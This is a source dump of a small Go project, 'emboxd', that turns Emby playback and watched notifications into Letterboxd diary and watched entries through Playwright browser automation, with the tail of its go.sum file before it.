76 | github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo=
77 | github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg=
78 | github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY=
79 | github.com/twitchyliquid64/golang-asm v0.15.1 h1:SU5vSMR7hnwNxj24w34ZyCi/FmDZTkS4MhqMhdFk5YI=
80 | github.com/twitchyliquid64/golang-asm v0.15.1/go.mod h1:a1lVb/DtPvCB8fslRZhAngC2+aY1QWCk3Cedj/Gdt08=
81 | github.com/ugorji/go/codec v1.2.12 h1:9LC83zGrHhuUA9l16C9AHXAqEV/2wBQ4nkvumAE65EE=
82 | github.com/ugorji/go/codec v1.2.12/go.mod h1:UNopzCgEMSXjBc6AOMqYvWC1ktqTAfzJZUZgYf6w6lg=
83 | github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=
84 | golang.org/x/arch v0.0.0-20210923205945-b76863e36670/go.mod h1:5om86z9Hs0C8fWVUuoMHwpExlXzs5Tkyp9hOrfG7pp8=
85 | golang.org/x/arch v0.8.0 h1:3wRIsP3pM4yUptoR96otTUOXI367OS0+c9eeRi9doIc=
86 | golang.org/x/arch v0.8.0/go.mod h1:FEVrYAQjsQXMVJ1nsMoVVXPZg6p2JE2mx8psSWTDQys=
87 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
88 | golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
89 | golang.org/x/crypto v0.19.0/go.mod h1:Iy9bg/ha4yyC70EfRS8jz+B6ybOBKMaSxLj6P6oBDfU=
90 | golang.org/x/crypto v0.23.0 h1:dIJU/v2J8Mdglj/8rJ6UUOM3Zc9zLZxVZwwxMooUSAI=
91 | golang.org/x/crypto v0.23.0/go.mod h1:CKFgDieR+mRhux2Lsu27y0fO304Db0wZe70UKqHu0v8=
92 | golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
93 | golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
94 | golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
95 | golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
96 | golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
97 | golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=
98 | golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg=
99 | golang.org/x/net v0.25.0 h1:d/OCCoBEUq33pjydKrGQhw7IlUPI2Oylr+8qLx49kac=
100 | golang.org/x/net v0.25.0/go.mod h1:JkAGAh7GEvH74S6FOH42FLoXpXbE/aqXSrIQjXgsiwM=
101 | golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
102 | golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
103 | golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
104 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
105 | golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
106 | golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
107 | golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
108 | golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
109 | golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
110 | golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
111 | golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
112 | golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
113 | golang.org/x/sys v0.20.0 h1:Od9JTbYCk261bKm4M/mw7AklTlFYIa0bIp9BgSm1S8Y=
114 | golang.org/x/sys v0.20.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
115 | golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
116 | golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
117 | golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k=
118 | golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo=
119 | golang.org/x/term v0.17.0/go.mod h1:lLRBjIVuehSbZlaOtGMbcMncT+aqLLLmKrsjNrUguwk=
120 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
121 | golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
122 | golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
123 | golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
124 | golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8=
125 | golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=
126 | golang.org/x/text v0.15.0 h1:h1V/4gjBv8v9cjcR6+AR5+/cIYK5N/WAgiv4xlsEtAk=
127 | golang.org/x/text v0.15.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=
128 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
129 | golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
130 | golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
131 | golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU=
132 | golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
133 | google.golang.org/protobuf v1.34.1 h1:9ddQBjfCyZPOHPUiPxpYESBLc+T8P3E+Vo4IbKZgFWg=
134 | google.golang.org/protobuf v1.34.1/go.mod h1:c6P6GXX6sHbq/GpV6MGZEdwhWPcYBgnhAHhKbcUYpos=
135 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
136 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk=
137 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q=
138 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
139 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
140 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
141 | nullprogram.com/x/optparse v1.0.0/go.mod h1:KdyPE+Igbe0jQUrVfMqDMeJQIJZEuyV7pjYmp6pbG50=
142 | rsc.io/pdf v0.1.1/go.mod h1:n8OzWcQ6Sp37PL01nO98y4iUCRdTGarVfzxY20ICaU4=
143 |
--------------------------------------------------------------------------------
/letterboxd/auth.go:
--------------------------------------------------------------------------------
1 | package letterboxd
2 |
3 | import (
4 | "fmt"
5 | "log/slog"
6 | "slices"
7 | "strings"
8 | )
9 |
10 | import "github.com/playwright-community/playwright-go"
11 |
12 | func (u User) isLoggedIn(page ...playwright.Page) bool {
13 | if len(page) == 0 {
14 | // Create new page
15 | page = append(page, u.newPage("https://letterboxd.com"))
16 | defer page[0].Close()
17 | }
18 |
19 | var classes, err = page[0].Locator("body").GetAttribute("class")
20 | if err != nil {
21 | panic(err)
22 | }
23 |
24 | return slices.Contains(strings.Split(classes, " "), "logged-in")
25 | }
26 |
27 | func (u User) Login() {
28 | var page = u.newPage("https://letterboxd.com/sign-in/")
29 | defer page.Close()
30 |
31 | if page.URL() == "https://letterboxd.com" {
32 | slog.Warn("Already logged in")
33 | return
34 | }
35 |
36 | // Fill out login form
37 | if err := page.Locator("input#field-username").Fill(u.username); err != nil {
38 | panic(err)
39 | }
40 | if err := page.Locator("input#field-password").Fill(u.password); err != nil {
41 | panic(err)
42 | }
43 | if err := page.Locator("input.js-remember").Check(); err != nil {
44 | panic(err)
45 | }
46 | if err := page.Locator("div.formbody > div.formrow > button[type=submit]").Click(); err != nil {
47 | panic(err)
48 | }
49 |
50 | // Wait for logged in status
51 | if err := page.Locator("body.logged-in").WaitFor(); err == nil {
52 | slog.Info(fmt.Sprintf("Logged in as %s", u.username))
53 | } else {
54 | panic(err)
55 | }
56 | }
57 |
--------------------------------------------------------------------------------
/letterboxd/debouncer.go:
--------------------------------------------------------------------------------
1 | package letterboxd
2 |
3 | import (
4 | "container/list"
5 | "sync"
6 | "time"
7 | )
8 |
9 | const _QUIET_PERIOD = 30 * time.Second
10 |
11 | type debouncer struct {
12 | queue *list.List
13 | removableElementByImdbId map[string]*list.Element
14 | loggedImdbIds map[string]bool
15 | lock sync.Mutex
16 | channel chan Event
17 | }
18 |
19 | func newDebouncer(channel chan Event) debouncer {
20 | return debouncer{
21 | queue: list.New(),
22 | removableElementByImdbId: make(map[string]*list.Element),
23 | loggedImdbIds: make(map[string]bool),
24 | channel: channel,
25 | }
26 | }
27 |
28 | func (d *debouncer) debounce(event Event) {
29 | d.lock.Lock()
30 | defer d.lock.Unlock()
31 |
32 | if element, ok := d.removableElementByImdbId[event.ImdbId]; ok {
33 | d.queue.Remove(element)
34 | }
35 |
36 | if event.Action == FilmLogged {
37 | d.loggedImdbIds[event.ImdbId] = true
38 | }
39 |
40 | // TODO: fix
41 | d.channel <- event
42 | }
43 |
--------------------------------------------------------------------------------
/letterboxd/films.go:
--------------------------------------------------------------------------------
1 | package letterboxd
2 |
3 | import (
4 | "fmt"
5 | "log/slog"
6 | "slices"
7 | "strings"
8 | "time"
9 | )
10 |
11 | func (u User) SetFilmWatched(imdbId string, watched bool) {
12 | var url = fmt.Sprintf("https://letterboxd.com/imdb/%s", imdbId)
13 | var page = u.newPage(url)
14 | defer page.Close()
15 |
16 | // Reauthenticate if necessary
17 | if !u.isLoggedIn(page) {
18 | slog.Warn("Not logged in, authenticating...")
19 |
20 | u.Login()
21 | if _, err := page.Reload(); err != nil {
22 | slog.Warn(fmt.Sprintf("Page %s took too long to load", url))
23 | }
24 | }
25 |
26 | // Allow watched information to populate
27 | time.Sleep(3 * time.Second)
28 |
29 | var watchedLocator = page.Locator("span.action-large.-watch .action.-watch")
30 | var classes, watchedLocatorErr = watchedLocator.GetAttribute("class")
31 | if watchedLocatorErr != nil {
32 | panic(watchedLocatorErr)
33 | }
34 |
35 | if slices.Contains(strings.Split(classes, " "), "-on") == watched {
36 | // Film already marked with desired watch state
37 | slog.Info(fmt.Sprintf("Film %s is already marked as watched = %t", imdbId, watched))
38 | } else {
39 | // Toggle film watched status
40 | if err := watchedLocator.Click(); err != nil {
41 | panic(err)
42 | }
43 | time.Sleep(3 * time.Second)
44 | }
45 | }
46 |
47 | func (u User) LogFilmWatched(imdbId string, date ...time.Time) {
48 | if len(date) == 0 {
49 | date = append(date, time.Now())
50 | }
51 |
52 | var url = fmt.Sprintf("https://letterboxd.com/imdb/%s", imdbId)
53 | var page = u.newPage(url)
54 | defer page.Close()
55 |
56 | // Reauthenticate if necessary
57 | if !u.isLoggedIn(page) {
58 | slog.Warn("Not logged in, authenticating...")
59 |
60 | u.Login()
61 | if _, err := page.Reload(); err != nil {
62 | slog.Warn(fmt.Sprintf("Page %s took too long to load", url))
63 | }
64 | }
65 |
66 | if err := page.Locator("button.add-this-film").Click(); err != nil {
67 | panic(err)
68 | }
69 |
70 | // Wait for form to load
71 | var saveLocator = page.Locator("div#diary-entry-form-modal button.button.-action.button-action")
72 | if err := saveLocator.WaitFor(); err != nil {
73 | panic(err)
74 | }
75 |
76 | // Fill form and save log entry
77 | var javascriptSetDate = fmt.Sprintf("document.querySelector('input#frm-viewing-date-string').value = '%s'", date[0].Format(time.DateOnly))
78 | if _, err := page.Evaluate(javascriptSetDate, nil); err != nil {
79 | panic(err)
80 | }
81 | if err := saveLocator.Click(); err != nil {
82 | panic(err)
83 | }
84 | time.Sleep(3 * time.Second)
85 | }
86 |
--------------------------------------------------------------------------------
/letterboxd/user.go:
--------------------------------------------------------------------------------
1 | package letterboxd
2 |
3 | import (
4 | "fmt"
5 | "log/slog"
6 | )
7 |
8 | import "github.com/playwright-community/playwright-go"
9 |
10 | var browser playwright.Browser
11 |
12 | func init() {
13 | var pw, runErr = playwright.Run()
14 | if runErr != nil {
15 | panic(runErr)
16 | }
17 |
18 | var headless = true
19 | var launchOptions = playwright.BrowserTypeLaunchOptions{Headless: &headless}
20 | if b, err := pw.Firefox.Launch(launchOptions); err == nil {
21 | browser = b
22 | } else {
23 | panic(err)
24 | }
25 | }
26 |
27 | func NewUser(username string, password string) User {
28 | var context, contextErr = browser.NewContext(playwright.BrowserNewContextOptions{
29 | Viewport: &playwright.Size{
30 | Width: 1920,
31 | Height: 1080,
32 | },
33 | })
34 | if contextErr != nil {
35 | panic(contextErr)
36 | }
37 |
38 | return User{
39 | username,
40 | password,
41 | context,
42 | }
43 | }
44 |
45 | type User struct {
46 | username string
47 | password string
48 | context playwright.BrowserContext
49 | }
50 |
51 | func (l User) newPage(url string) playwright.Page {
52 | var page, pageErr = l.context.NewPage()
53 | if pageErr != nil {
54 | panic(pageErr)
55 | }
56 |
57 | if _, err := page.Goto(url); err != nil {
58 | // Acceptable to due ad loading
59 | slog.Warn(fmt.Sprintf("Page %s took too long to load", url))
60 | }
61 |
62 | return page
63 | }
64 |
--------------------------------------------------------------------------------
/letterboxd/worker.go:
--------------------------------------------------------------------------------
1 | package letterboxd
2 |
3 | import (
4 | "fmt"
5 | "log/slog"
6 | "time"
7 | )
8 |
9 | const _EVENT_BUFFER_SIZE int = 10
10 |
11 | type Action int
12 |
13 | const (
14 | FilmWatched Action = iota
15 | FilmUnwatched
16 | FilmLogged
17 | )
18 |
19 | type Event struct {
20 | ImdbId string
21 | Action Action
22 | Time time.Time
23 | }
24 |
25 | type Worker struct {
26 | debouncer
27 | user User
28 | channel chan Event
29 | }
30 |
31 | func NewWorker(username string, password string) Worker {
32 | var channel = make(chan Event, _EVENT_BUFFER_SIZE)
33 | return Worker{
34 | debouncer: newDebouncer(
35 | channel,
36 | ),
37 | user: NewUser(
38 | username,
39 | password,
40 | ),
41 | channel: channel,
42 | }
43 | }
44 |
45 | func (w *Worker) HandleEvent(event Event) {
46 | w.debounce(event)
47 | }
48 |
49 | func (w *Worker) Start() {
50 | go w.run()
51 | }
52 |
53 | func (w *Worker) run() {
54 | w.user.Login()
55 |
56 | for {
57 | var event = <-w.channel
58 |
59 | switch event.Action {
60 | case FilmWatched, FilmUnwatched:
61 | w.user.SetFilmWatched(event.ImdbId, event.Action == FilmWatched)
62 | case FilmLogged:
63 | w.user.LogFilmWatched(event.ImdbId)
64 | default:
65 | panic(fmt.Sprintf("Unknown event action %d", event.Action))
66 | }
67 |
68 | slog.Info(fmt.Sprintf("Finished processing event %+v", event))
69 | }
70 | }
71 |
--------------------------------------------------------------------------------
/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import "os"
4 |
5 | import (
6 | "github.com/energeticcra/emboxd/api"
7 | "github.com/energeticcra/emboxd/config"
8 | "github.com/energeticcra/emboxd/letterboxd"
9 | "github.com/energeticcra/emboxd/notification"
10 | )
11 |
12 | func main() {
13 | var configFilename = "config/config.yaml"
14 | for i := 1; i < len(os.Args); i++ {
15 | if os.Args[i] == "-c" || os.Args[i] == "--config" {
16 | i++
17 | configFilename = os.Args[i]
18 | break
19 | }
20 | }
21 | var conf = config.Load(configFilename)
22 |
23 | var notificationProcessorByEmbyUsername = make(map[string]*notification.Processor, len(conf.Users))
24 | for _, user := range conf.Users {
25 | var letterboxdWorker = letterboxd.NewWorker(user.Letterboxd.Username, user.Letterboxd.Password)
26 | letterboxdWorker.Start()
27 |
28 | var notificationProcessor = notification.NewProcessor(letterboxdWorker.HandleEvent)
29 |
30 | notificationProcessorByEmbyUsername[user.Emby.Username] = ¬ificationProcessor
31 | }
32 |
33 | var app = api.New(notificationProcessorByEmbyUsername)
34 | app.Run(80)
35 | }
36 |
--------------------------------------------------------------------------------
/notification/constants.go:
--------------------------------------------------------------------------------
1 | package notification
2 |
3 | import (
4 | "time"
5 | )
6 |
7 | type MediaServer int
8 |
9 | const (
10 | Emby MediaServer = iota
11 | )
12 |
13 | type Metadata struct {
14 | Server MediaServer
15 | Username string
16 | ImdbId string
17 | Time time.Time
18 | }
19 |
20 | type WatchedNotification struct {
21 | Metadata
22 | Watched bool
23 | }
24 |
25 | type PlaybackNotification struct {
26 | Metadata
27 | Playing bool
28 | Position time.Duration
29 | Runtime time.Duration
30 | }
31 |
--------------------------------------------------------------------------------
/notification/processor.go:
--------------------------------------------------------------------------------
1 | package notification
2 |
3 | import (
4 | "fmt"
5 | "log/slog"
6 | "time"
7 | )
8 |
9 | import "github.com/energeticcra/emboxd/letterboxd"
10 |
11 | // Watched percentage of total runtime to log movie as actually watched
12 | const _MIN_WATCHED_PERCENTAGE int = 80
13 |
14 | type Processor struct {
15 | callback func(letterboxd.Event)
16 | watchedDurationByImdbId map[string]time.Duration
17 | playbackStartNotificationByImdbId map[string]PlaybackNotification
18 | }
19 |
20 | func NewProcessor(callback func(letterboxd.Event)) Processor {
21 | return Processor{
22 | callback: callback,
23 | watchedDurationByImdbId: make(map[string]time.Duration),
24 | playbackStartNotificationByImdbId: make(map[string]PlaybackNotification),
25 | }
26 | }
27 |
28 | func (n *Processor) ProcessWatchedNotification(notification WatchedNotification) {
29 | slog.Info(fmt.Sprintf("Processing watched notification %+v", notification))
30 |
31 | var action letterboxd.Action
32 | if notification.Watched {
33 | action = letterboxd.FilmWatched
34 | } else {
35 | action = letterboxd.FilmUnwatched
36 | }
37 |
38 | delete(n.watchedDurationByImdbId, notification.ImdbId)
39 | delete(n.playbackStartNotificationByImdbId, notification.ImdbId)
40 |
41 | n.callback(letterboxd.Event{
42 | ImdbId: notification.ImdbId,
43 | Action: action,
44 | Time: notification.Time,
45 | })
46 | }
47 |
48 | func (n *Processor) ProcessPlaybackNotification(notification PlaybackNotification) {
49 | slog.Info(fmt.Sprintf("Processing playback notification %+v", notification))
50 |
51 | // TODO: setup DB for permanent storage of partially watched films
52 | if notification.Playing {
53 | if _, alreadyStarted := n.playbackStartNotificationByImdbId[notification.ImdbId]; !alreadyStarted {
54 | // Keep earliest playback notification for current session
55 | n.playbackStartNotificationByImdbId[notification.ImdbId] = notification
56 | }
57 | } else {
58 | if startNotification, hasStart := n.playbackStartNotificationByImdbId[notification.ImdbId]; hasStart {
59 | var watchedDuration = min(
60 | // Ensure movie was actually watched
61 | notification.Time.Sub(startNotification.Time),
62 | // Ensure rewinding/replaying is not included in watched duration
63 | max(notification.Position-startNotification.Position, 0),
64 | )
65 |
66 | if _, partiallyWatched := n.watchedDurationByImdbId[notification.ImdbId]; partiallyWatched {
67 | n.watchedDurationByImdbId[notification.ImdbId] += watchedDuration
68 | } else {
69 | n.watchedDurationByImdbId[notification.ImdbId] = watchedDuration
70 | }
71 | delete(n.playbackStartNotificationByImdbId, notification.ImdbId)
72 | } else {
73 | n.watchedDurationByImdbId[notification.ImdbId] = notification.Position
74 | slog.Warn("Missing playback start time, set total watched duration to current playback position")
75 | }
76 |
77 | var watchedPercentage = float64(n.watchedDurationByImdbId[notification.ImdbId].Nanoseconds()) / float64(notification.Runtime.Nanoseconds()) * 100
78 | if int(watchedPercentage) >= _MIN_WATCHED_PERCENTAGE {
79 | delete(n.watchedDurationByImdbId, notification.ImdbId)
80 |
81 | n.callback(letterboxd.Event{
82 | ImdbId: notification.ImdbId,
83 | Action: letterboxd.FilmLogged,
84 | Time: notification.Time,
85 | })
86 | }
87 | }
88 | }
89 |
--------------------------------------------------------------------------------